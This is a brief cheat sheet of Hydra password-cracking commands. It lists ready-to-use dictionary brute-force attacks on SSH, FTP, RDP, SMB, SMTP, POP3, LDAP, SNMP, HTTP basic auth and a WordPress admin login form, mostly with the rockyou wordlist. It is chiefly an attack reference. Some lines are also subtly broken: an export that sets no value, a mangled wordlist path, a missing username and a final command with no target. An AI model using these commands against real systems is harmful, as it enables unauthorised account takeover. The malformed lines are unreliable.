Hydra Password Cracking Cheetsheet

The following table uses the $ip variable which can be set with the following command:

export ip

Command Description
hydra -P password-file.txt -v $ip snmp Hydra brute force against SNMP
hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp Hydra FTP known user and rockyou password list
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -p “” -t 1 -u $ip ssh Hydra SSH using a known password and a username list
hydra $ip -s 22 ssh -l -P big_wordlist.txt Hydra SSH Against Known username on port 22
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V Hydra POP3 Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V Hydra SMTP Brute Force
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin Hydra attack http get 401 login with a dictionary
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb Hydra brute force SMB user with rockyou:
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post ‘/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location’ Hydra brute force a Wordpress admin login
hydra -L usernames.txt -P passwords.txt $ip smb -V -f SMB Brute Forcing
hydra -L users.txt -P passwords.txt $ip ldap2 -V -f LDAP Brute Forcing


hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 ssh